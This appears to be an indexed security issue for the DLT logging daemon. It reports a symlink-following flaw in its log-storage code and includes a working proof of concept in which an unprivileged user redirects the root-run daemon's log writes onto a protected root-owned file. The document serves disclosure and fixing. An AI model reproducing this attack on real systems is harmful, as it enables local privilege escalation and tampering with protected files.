Improper Symlink Handling Leading to Arbitrary File Write
- Dominant language
- C
- Stars
- 459
- Forks
- 340
- Avg merge
- 4d 21h
- Merged PRs (30d)
- 2
Description
## Summary
The DLT daemon does not prevent symlink attacks when opening log files, allowing an unprivileged attacker to leverage the daemon's execution privileges to write arbitrary data to files accessible by the daemon. For example, when the daemon runs as root, this can result in unauthorized writes to root-owned files and local privilege escalation.
## Vulnerable Code
File: `src/offlinelogstorage/dlt_offline_logstorage_behavior.c`
```c
480: DLT_STATIC void dlt_logstorage_open_log_output_file(DltLogStorageFilterConfig *config,
481: const char *fpath,
482: const char *mode)
483: {
484: FILE *file = fopen(fpath, mode); /* follows symlinks; no O_NOFOLLOW protection */
485: if (file == NULL) {
486: dlt_vlog(LOG_DEBUG, "%s: could not open configuration file\n", __func__);
487: return;
488: }
....
581: strcat(absolute_file_path, storage_path); /* storage_path <- attacker mount_point */
582: strcat(absolute_file_path, file_name); /* file_name <- attacker File= value */
584: dlt_logstorage_open_log_output_file(config, absolute_file_path, "a"); /* append path */
....
703: config->log = fopen(absolute_file_path, "w+"); /* rotate/overwrite path (truncates the target) */
```
The `absolute_file_path` is derived from attacker-controlled inputs (`` and `...dlt`) and is opened in append (`"a"`, line 584) or overwrite (`"w+"`, line 703) mode without `O_NOFOLLOW` protection or validation that the canonicalized path remains within the device storage area.
## Root Cause
1. **Attacker controls the path inputs.**
`mount_point` is provided through an unauthenticated device-connect control message, and the file at `/.dlt` resides on attacker-controlled storage. Planting a symlink at this location requires no access to the target file itself; an unprivileged attacker can redirect the daemon's write operation to files accessible by the daemon's execution user.
2. **The daemon follows attacker-controlled symlinks.**
`fopen(fpath, …)` resolves the symlink and opens the link target instead of creating a file within the intended device storage. No `O_NOFOLLOW` protection or resolved-path containment check is performed.
## Reproduction
1. Create an attacker-controlled DLT storage containing a symlink from `.dlt` to a protected target file.
2. Send an unauthenticated device-connect request specifying the attacker-controlled storage as `mount_point`.
3. Emit a matching DLT log message.
4. Verify that the target file is modified by the daemon's write operation.
## Log
(1) the target the attacker must not be able to write (root-owned, mode 600)
```
root# stat -c 'owner=%U:%G mode=%a size=%s inode=%i' '/tmp/lslpe/rootonly/victim_canary.txt'
owner=root:root mode=600 size=37 inode=1717549
```
(2) attacker plants a symlink at the daemon's log path + writes a matching filter
```
nobody$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody$ ln -s '/tmp/lslpe/rootonly/victim_canary.txt' '/tmp/lslpe/attacker/mount/VLOG.dlt'
nobody$ ls -l '/tmp/lslpe/attacker/mount/VLOG.dlt'
lrwxrwxrwx 1 nobody nogroup 37 Jul 18 08:40 /tmp/lslpe/attacker/mount/VLOG.dlt -> /tmp/lslpe/rootonly/victim_canary.txt
```
(3) the attacker has NO direct access to the target — every attempt is denied
```
nobody$ echo pwned > '/tmp/lslpe/rootonly/victim_canary.txt'
sh: 1: cannot create /tmp/lslpe/rootonly/victim_canary.txt: Permission denied
nobody$ cat '/tmp/lslpe/rootonly/victim_canary.txt'
cat: /tmp/lslpe/rootonly/victim_canary.txt: Permission denied
nobody$ ls '/tmp/lslpe/rootonly'
ls: cannot open directory '/tmp/lslpe/rootonly': Permission denied
```
(4) the DLT daemon starts as root
```
root# /opt/dlt-build/src/daemon/dlt-daemon -c /tmp/lslpe/dlt-daemon.conf -p 3490 &
root# grep -E '^(Name|Uid):' /proc/5152/status
Name: dlt-daemon
Uid: 0 0 0 0
```
(5) attacker triggers the daemon: unauthenticated TCP device-connect + one matching log
```
nobody$ /tmp/lslpe/send_connect 127.0.0.1 3490 /tmp/lslpe/attacker/mount
[connect] mount='/tmp/lslpe/attacker/mount' sent 1047 bytes over TCP 127.0.0.1:3490
nobody$ LD_LIBRARY_PATH=/tmp/lslpe /tmp/lslpe/dlt-example-user -A LSAP -C CT02 -l 4 -n 6 -d 200 PWNED_BY_NOBODY_container
Send 0 PWNED_BY_NOBODY_container
Client disconnected!
Send 1 PWNED_BY_NOBODY_container
Send 2 PWNED_BY_NOBODY_container
Log level changed of context CT02, LogLevel=4, TraceState=0
Log level changed of context TS1, LogLevel=4, TraceState=0
Log level changed of context TS2, LogLevel=4, TraceState=0
Send 3 PWNED_BY_NOBODY_container
Send 4 PWNED_BY_NOBODY_container
Send 5 PWNED_BY_NOBODY_container
```
(6) result: the root-owned target was rewritten THROUGH the symlink
```
root# stat -c 'owner=%U:%G mode=%a size=%s inode=%i' '/tmp/lslpe/rootonly/victim_canary.txt'
owner=root:root mode=600 size=529 inode=1717549
# before this run: size=37 inode=1717549 — same inode + still root:600 => the daemon rewrote the existing file
nobody$ cat '/tmp/lslpe/rootonly/victim_canary.txt'
cat: /tmp/lslpe/rootonly/victim_canary.txt: Permission denied
root# grep -c 'PWNED_BY_NOBODY_container' '/tmp/lslpe/rootonly/victim_canary.txt'
6
root# grep -a 'PWNED_BY_NOBODY_container' '/tmp/lslpe/rootonly/victim_canary.txt'
DLT<[jI�
�ALSAPCT02#PWNED_BY_NOBODY_containerDLT<[j���ECUECU1=BECU1)
��ALSAPCT02#PWNED_BY_NOBODY_container ECU1=BECU1)
```
Contributor guide
No contributing guide indexed for this repository
Research direction
Start with dlt_logstorage_open_log_output_file in src/offlinelogstorage/dlt_offline_logstorage_behavior.c, then trace the absolute_file_path construction around lines 581-584 and the rotation open at line 703. Reproduce the symlink scenario described in the issue and verify that attacker-controlled log paths can no longer modify the protected target through either append or overwrite handling.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 52/100